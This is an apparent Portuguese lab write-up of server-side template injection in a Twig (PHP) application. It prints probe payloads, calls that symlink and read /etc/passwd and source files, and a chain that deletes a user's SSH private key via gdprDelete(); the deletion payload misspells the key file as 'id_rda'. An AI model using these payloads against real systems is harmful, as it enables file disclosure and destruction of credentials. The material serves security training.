> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-with-custom-exploit.md).

# SSTI com um exploit personalizado

### Injeção de Template no lado do servidor com um Exploit Personalizado

A aplicação é suscetível a uma injeção SSTI. / O objetivo é criar um personalizado **exploit** que permite remover o `/home/carlos/.ssh/id_rsa`\*\* arquivo. / Possível conexão com o usuário: `wiener:peter`.

#### Ponto injetável

O **apelido** campo é vulnerável:

```python
}}{{7*7
```

A expressão é avaliada.

<figure><img src="/files/911feb217919c431840e1e50eb09e28d9f547673" alt=""><figcaption></figcaption></figure>

Ao acionar um erro:

```php
}}{{7/a
```

É descoberto que o mecanismo usado é **Twig (PHP)**.

<figure><img src="/files/00c55a3786e39922aac6c855dd9e142a80a58d31" alt=""><figcaption></figcaption></figure>

#### Desvio da Função de D

É possível definir um avatar personalizado por meio de:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/66dae21f8c4ff153f2f099ee91ac20faad746b41" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/60b248b5f3703f95d2b66dadf5f6fd5204bb9c44" alt="" width="496"><figcaption></figcaption></figure>

Esse mecanismo cria um **link simbólico** para qualquer arquivo legível. / Assim, você pode recuperar seu conteúdo baixando o avatar.

#### Exemplo

Ler `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

O arquivo fica acessível ao abrir a imagem

<figure><img src="/files/1fbca88b4824a899bb009ef8b3cccfb9a8e36cce" alt=""><figcaption></figcaption></figure>

#### Análise de Código `User.php`

O `/home/carlos/User.php` arquivo revela:

<figure><img src="/files/ab342c2ab149b5954042f1e40e0696cd2b6f9546" alt=""><figcaption></figcaption></figure>

\*\*O `gdprDelete()` função realmente remove o arquivo apontado pelo link simbólico. \*\*/ É exatamente isso que se deve usar para apagar `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### Operação: Remoção de `/home/carlos/.ssh/id_rsa`

Crie um link simbólico para a chave SSH do Carlos

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Acione a remoção via:

```php
user.gdprDelete()
```

O link simbólico aponta para `id_rsa`/ `gdprDelete()` apaga o **destino** do link \*\*`id_rsa` arquivo é excluído. \*\*


---

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